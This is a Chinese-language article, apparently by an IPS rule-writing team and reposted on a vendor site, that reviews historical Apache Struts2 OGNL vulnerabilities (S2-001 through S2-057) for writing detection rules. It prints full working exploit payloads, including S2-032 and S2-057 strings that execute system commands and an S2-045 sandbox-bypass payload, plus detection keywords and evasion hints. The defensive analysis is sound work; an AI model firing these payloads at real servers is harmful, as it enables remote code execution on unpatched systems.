91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何從防護角度看Struts2歷史漏洞

發布時間:2022-01-14 22:37:16 來源:億速云 閱讀:207 作者:柒染 欄目:安全技術

這篇文章的內容主要圍繞如何從防護角度看Struts2歷史漏洞進行講述,文章內容清晰易懂,條理清晰,非常適合新手學習,值得大家去閱讀。感興趣的朋友可以跟隨小編一起閱讀吧。希望大家通過這篇文章有所收獲!

一、前言

   Struts2漏洞是一個經典的漏洞系列,根源在于Struts2引入了OGNL表達式使得框架具有靈活的動態性。隨著整體框架的補丁完善,現在想挖掘新的Struts2漏洞會比以前困難很多,從實際了解的情況來看,大部分用戶早就修復了歷史的高危漏洞。目前在做滲透測試時,Struts2漏洞主要也是碰碰運氣,或者是打到內網之后用來攻擊沒打補丁的系統會比較有效。

網上的分析文章主要從攻擊利用的角度來分析這些Struts2漏洞。作為新華三攻防團隊,我們的一部分工作是維護ips產品的規則庫,今天回顧一下這個系列的漏洞,給大家分享一些防護者的思路,如果有遺漏或者錯誤,歡迎各位大佬指正。

二、Struts2歷史漏洞

研究Struts2的歷史漏洞,一部分原因為了review以前的ips、waf的防護規則。開發規則的時候,我們認為有幾個原則:

1、站在攻擊者的角度思考;

2、理解漏洞或者攻擊工具的原理;

3、定義漏洞或者攻擊工具的檢測規則時,思考誤報、漏報的情況。

如果安全設備不會自動封ip,那么防護規則是有可能被慢慢試出來的。如果規則只考慮了公開的poc規則寫得太過嚴格,是可能被繞過的,所以有了這次review。先來看看Struts2的歷史漏洞的原理。

2.1判斷網站使用Struts2框架

一般攻擊者在攻擊之前會判斷網站是Struts2編寫,主要看有沒有鏈接是.action或者.do結尾的,這是因為配置文件struts.xml指定了action的后綴

<constant name="struts.action.extension" value="action,," />

但是上述這個配置文件解析之后,不帶后綴的uri也會被解析稱為action的名字。如下:

如何從防護角度看Struts2歷史漏洞

如果配置文件中常數extension的值以逗號結尾或者有空值,指明了action可以不帶后綴,那么不帶后綴的uri也可能是struts2框架搭建的。

如何從防護角度看Struts2歷史漏洞如果使用Struts2的rest插件,其默認的struts-plugin.xml指定的請求后綴為xhtml,xml和json

<constant name="struts.action.extension" value="xhtml,,xml,json" />

根據后綴不同,rest插件使用不同的處理流程,如下請求json格式的數據,框架就使用了JsonLibHandler類對輸出進行處理。

如何從防護角度看Struts2歷史漏洞

xhtml和xml結尾的請求則使用HtmlHandler和XStreamHandler分別處理。所以在測試的時候,不能明確判斷網站使用的是否為struts2框架時,特別是碰到后兩種情況,都可以拿工具去試試運氣。

2.2Struts2執行代碼的原理

Struts2的動態性在于ongl表達式的可以獲取到運行變量的值,并且有機會執行函數調用。如果可以把惡意的請求參數送到ognl的執行流程中,就會導致任意代碼執行漏洞。ognl表達式的執行在Ognl相關的幾個類里面,配置好調試環境后,對OgnlUtil類的getvalue或compileAndExecute函數下斷點,就根據參數判斷poc調用的流程,分析執行的原理了。

2.2.1 S2-045,S2-046

以S2-045為例,查看web工程目錄的payload是

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

斷點攔截情況

如何從防護角度看Struts2歷史漏洞

根據堆棧查看信息

getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)

根據堆棧可以定位到漏洞原因,查看到Dispatcher函數,發現如果content-typ字段包含了multipart/form-data字符串,就會把請求封裝成MultiPartRequestWrapper,走到了JakartaMultiPartRequest類的流程中

if (content_type != null && content_type.contains("multipart/form-data")) {
    MultiPartRequest mpr = getMultiPartRequest();
    LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
    request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
} else {
    request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

如果處理出錯,就會調用buildErrorMessage函數構造報錯信息。

try {
    multi.parse(request, saveDir);
    for (String error : multi.getErrors()) {
        addError(error);
    }
} catch (IOException e) {
    if (LOG.isWarnEnabled()) {
        LOG.warn(e.getMessage(), e);
    }
    addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
}

后續調用過程是buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. translateVariables ---->OgnlUtil.getValue ,補丁修改是buildErrorMessage不調用LocalizedTextUtil.findText函數,這樣報錯后提交的輸入就到不了ognl模塊了。S2-046也是用到045的相同模塊,總體來看,045和046是17年上半年出現的漏洞,漏洞用到的是框架本身,限制條件少, 算是比較好用的Struts2漏洞了(雖然成功率也非常低)。可以看到現在網絡上大量的自動化掃描器或者蠕蟲,都自帶045和046,ips設備每天能收到大量此類日志。

2.2.2 S2-001

往前看,比較好用的漏洞中比較有代表性的有S2-001(S2-003,005,008年代比較久遠,后來出現了比較好用的新漏洞,所以這些漏洞用的人很少,對應Struts2的版本也很低),001是Struts2框架最剛開始出現的第一個漏洞,跟045的執行過程也比較接近,都是經由TextParseUtil. translateVariables執行OGNL表達式,TextParseUtil是文本處理的功能類。不同的是S2-001是在把jsp生成java類的時候,會對表單提交的參數調用evaluateParams從而調用文本處理類的OGNL求值功能。調用堆棧如下:

translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

如何從防護角度看Struts2歷史漏洞提交就能觸發漏洞

2.2.3 S2-016

接著是S2-016,以及S2-032,S2-033,S2-037,這幾個漏洞比較接近,其中S2-016是比較好用的,由于年代太過久遠了,現在已經幾乎不可能利用成功,但是這個漏洞由于太經典,還是值得看看。

獲取路徑的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect標簽

如何從防護角度看Struts2歷史漏洞 調用棧:

getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代碼注釋意為, 在Struts2框架下如果mapping能直接獲得結果,就調用結果對象的execute函數。

如何從防護角度看Struts2歷史漏洞Uri標簽中的redirect,對應的是ServletRedirectResult這個結果,構造函數如下,是DefaultActionMapper構造的時候順帶構造好的,

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(
                                METHOD_PREFIX.length()));
                    }
                }
            });

            put(ACTION_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    String name = key.substring(ACTION_PREFIX.length());
                    if (allowDynamicMethodCalls) {
                        int bang = name.indexOf('!');
                        if (bang != -1) {
                            String method = name.substring(bang + 1);
                            mapping.setMethod(method);
                            name = name.substring(0, bang);
                        }
                    }
                    mapping.setName(name);
                }
            });

而這個ServletRedirectResult結果在解析Uri的時候,就會被設置到mapping對象中,調用棧如下:

execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后續ServletRedirectResult的execute函數執行后,經由conditionalParse調用文本處理類TextParseUtil的translateVariables函數進入Ognl的流程,代碼得到執行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞,不過利用有個前提條件,需要開啟動態方法執行的配置

<constant name="struts.enable.DynamicMethodInvocation" value="true" />

S2-033和S2-037則是rest插件漏洞,一般來說插件漏洞利用還是比較困難的,因為開發網站的時候不一定會用到這個插件。S2-032的payload如下:

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

如何從防護角度看Struts2歷史漏洞

跟S2-016一樣,也是uri中帶特殊標簽,其漏洞點也在DefaultActionMapper類的構造函數, struts.mxl文件中配置了DynamicMethodInvocation后,構造mapping的時候會滿足if語句,設置method屬性為冒號后的OGNL表達式

public DefaultActionMapper() {
    prefixTrie = new PrefixTrie() {
        {
            put(METHOD_PREFIX, new ParameterAction() {
                public void execute(String key, ActionMapping mapping) {
                    if (allowDynamicMethodCalls) {
                        mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                    }
                }
            });

在調用完Struts2默認的攔截器后,進入DefaultActionInvocation的調用函數invokeAction,后者直接調用Ognl表達式的執行。

如何從防護角度看Struts2歷史漏洞S2-032和S2-037也是通過這個步驟得到執行的,不同的是這兩漏洞是基于rest插件的。rest插件使得struts2框架的請求具備restful風格,參數直接放在uri里面提交,而非問號后面的字符串。如下為正常的請求:

如何從防護角度看Struts2歷史漏洞漏洞利用payload為:

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

如何從防護角度看Struts2歷史漏洞payload將正常的edit方法替換成了ognl代碼。rest插件使用的是RestActionMapper來解析uri,生成mapping,在其getMapping函數內,解析uri設置了method變量,

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null;
 if (lastSlashPos > -1) {
     int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1);
     if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一樣,也是通過ognl表達式來調用這個方法的時候,執行了惡意的命令

如何從防護角度看Struts2歷史漏洞S2-037跟S2-032漏洞點一致,是對補丁的繞過,應該是Struts2.3.28.1沒有修復好。

如何從防護角度看Struts2歷史漏洞

這兩個漏洞是16年的,也需要非常好的運氣才能利用,畢竟依賴rest插件且年代久遠。

2.2.5 S2-052

這個漏洞跟傳統的Struts2漏洞不同的是,并不是利用ognl表達式執行的代碼,而是使用unmarshal漏洞執行代碼。缺點就是也要用到rest插件,并且對jdk版本有要求,要大于等于1.8,使用JDK 1.7測試報錯如下

如何從防護角度看Struts2歷史漏洞使用JDK 1.8測試能正常執行命令。

如何從防護角度看Struts2歷史漏洞由于使用的不是ongl表達式執行的漏洞,防護思路也跟Struts2的常規防護有區別,后續可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代碼執行有2個條件:

1、需要開啟alwaysSelectFullNamespace配置為true,一般提取請求中uri的時候,會對比配置文件中的namespace,匹配上了選取最長的一段作為此次請求的namespace。但是如果這個參數設置為true,就不做對比,直接提取action前面的所有字符串作為namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
    int lastSlash = uri.lastIndexOf(47);
    String namespace;
    String name;
    if (lastSlash == -1) {
        namespace = "";
        name = uri;
    } else if (lastSlash == 0) {
        namespace = "/";
        name = uri.substring(lastSlash + 1);
    } else if (this.alwaysSelectFullNamespace) {
        namespace = uri.substring(0, lastSlash);
        name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

標紅的整體ognl攻擊表達式會被提取成為namespace。

2、使用了服務器跳轉的結果,這里的要求是配置了actionChaining類型的action,在配置action結果的時候,使用redirectAction(ServletActionRedirectResult類),chain(ActionChainResult類),postback(PostbackResult類)作為結果類型。

<package name="actionchaining" extends="struts-default">
   <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
      <result type="redirectAction">
         <param name = "actionName">register2</param>
      </result>
   </action>
   <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
      <result type="chain">xxx</result>
   </action>
   <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
      <result type="postback">
         <param name = "actionName">register2</param>
      </result>
   </action>
</package>

這樣在處理result結果的時候,會把namespace送到ognl引擎執行。例如redirectAction(ServletActionRedirectResult類)的情況,分發器disptacher會根據action的結果,把流程傳給ServletActionRedirectResult的execute函數,后者通過setLocation設置302跳轉的目的地址到自己的location變量(包含了ognl惡意代碼的namespace),

public void execute(ActionInvocation invocation) throws Exception {
    this.actionName = this.conditionalParse(this.actionName, invocation);
    if (this.namespace == null) {
        this.namespace = invocation.getProxy().getNamespace();
    } else {
        this.namespace = this.conditionalParse(this.namespace, invocation);
    }

    if (this.method == null) {
        this.method = "";
    } else {
        this.method = this.conditionalParse(this.method, invocation);
    }

    String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
    this.setLocation(tmpLocation);
    super.execute(invocation);
}

然后調用父類ServletRedirectResult的execute函數  ----> 調用父類StrutsResultSupport的execute函數

public void execute(ActionInvocation invocation) throws Exception {
    this.lastFinalLocation = this.conditionalParse(this.location, invocation);
    this.doExecute(this.lastFinalLocation, invocation);
}

protected String conditionalParse(String param, ActionInvocation invocation) {
    return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
}

其中conditionalParse是條件調用TextParseUtil.translateVariables進行ognl的執行流程,這個條件是滿足的,參數就是之前設置的location變量,因此代碼得到執行。

2.3Struts2沙盒防護和繞過

Struts2的每一輪新的漏洞,既包含了新的Ognl代碼執行的點,也包含Struts2的沙盒加強防護的繞過,而每一輪補丁除了修復Ognl的執行點,也再次強化沙盒,補丁主要都是通過struts-default.xml限制了ognl使用到的類和包,以及修改各種bean函數的訪問控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder這幾個類訪問,導致漏洞利用時無法使用構造函數、進程創建函數、類加載器等方式執行代碼,限制com.opensymphony.xwork2.ognl這個包的訪問,導致漏洞利用時無法訪問和修改_member_access,context等變量。

<constant name="struts.excludedClasses"
          value="
            java.lang.Object,
            java.lang.Runtime,
            java.lang.System,
            java.lang.Class,
            java.lang.ClassLoader,
            java.lang.Shutdown,
            java.lang.ProcessBuilder,
            com.opensymphony.xwork2.ActionContext" />

<!-- this must be valid regex, each '.' in package name must be escaped! -->
<!-- it's more flexible but slower than simple string comparison -->
<!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

<!-- this is simpler version of the above used with string comparison -->
<constant name="struts.excludedPackageNames"
          value="
            ognl.,
            javax.,
            freemarker.core.,
            freemarker.template.,
            freemarker.ext.rhino.,
            sun.reflect.,
            javassist.,
            org.objectweb.asm.,
            com.opensymphony.xwork2.ognl.,
            com.opensymphony.xwork2.security.,
            com.opensymphony.xwork2.util." />

調試時,可以對SecurityMemberAccess的isAccessible函數下斷點觀察ognl的沙盒防護情況。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
    LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
    if (this.checkEnumAccess(target, member)) {
        LOG.trace("Allowing access to enum: {}", target);
        return true;
    } else {
        Class targetClass = target.getClass();
        Class memberClass = member.getDeclaringClass();
        if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
            LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
            if (!this.isClassExcluded(member.getDeclaringClass())) {
                targetClass = member.getDeclaringClass();
            }
        }

三、網絡側Struts2的防護思路

一般的ips、waf規則,可以從兩個方向進行檢測,一個是檢測漏洞發生點,另外一個是檢測利用的攻擊代碼。Struts2有一些老的漏洞,很多是url中或者post表單中提交ognl代碼,從漏洞點來看并不是太好做檢測,所以一般的檢測規則還是檢查ognl代碼,配合漏洞發生點。結合payload來看,ognl代碼的構成,技術性最強的ognl代碼是045和057的兩個payload,還是從045的payload來看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess變量進行了訪問控制限制,決定了哪些類,哪些包,哪些方法可以被ognl表達式所使用。045之前的補丁禁止了_memberAccess的訪問:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通過ActionContext對象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法獲取到ognlUtil實例:

#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()

通過ognlUtil的公開方法清空禁止訪問的類和包,后面則是常規的輸出流獲取和函數調用。這個ognl的payload比較典型,可以檢測的點也比較多。

一般來說,ips或者waf的Struts2規則可以檢測沙盒繞過使用的對象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的檢測點,防護規則也可以檢測函數調用ServletActionContext@getResponse(獲取應答對象),java.lang.ProcessBuilder(進程構建,執行命令),java.lang.Runtime(運行時類建,執行命令),java.io.FileOutputStream(文件輸出流,寫shell),getParameter(獲取參數),org.apache.commons.io.IOUtils(IO函數)。不太好的檢測點包括com.opensymphony.xwork2.ActionContext.container這種字典的key或者包的全名,畢竟字符串是可以拼接和變形的,這種規則很容易繞過。其他時候規則提取的字符串盡量短一些,避免變形繞過。

測試發現有的waf產品規則只檢測DEFAULT_MEMBER_ACCESS和_memberaccess這兩個字符串之一,看起來很粗暴,有誤報風險,不過檢測效果還是不錯的, Ognl表達式由于其靈活性,存在一些變形逃逸的,但是S2-016之后的漏洞要繞過沙盒很難避開這兩個對象及相關函數調用。繞過可以參考ognl.jjt文件,這個文件定義了ognl表達式的詞法和語法結構,ognl的相關解析代碼也是基于這個文件生成的,所以一般的繞過也可以基于此文件展開。

感謝你的閱讀,相信你對“如何從防護角度看Struts2歷史漏洞”這一問題有一定的了解,快去動手實踐吧,如果想了解更多相關知識點,可以關注億速云網站!小編會繼續為大家帶來更好的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

秦安县| 牟定县| 昌宁县| 堆龙德庆县| 黔西县| 崇阳县| 仁寿县| 德钦县| 商丘市| 从化市| 根河市| 西藏| 普定县| 南汇区| 轮台县| 双流县| 南靖县| 涞水县| 涪陵区| 白河县| 鄂尔多斯市| 巴马| 大同市| 峡江县| 公安县| 壤塘县| 香格里拉县| 库车县| 大同县| 阿合奇县| 兴海县| 清镇市| 赤壁市| 平阳县| 霍林郭勒市| 鹿泉市| 天津市| 丹凤县| 万年县| 顺义区| 耒阳市|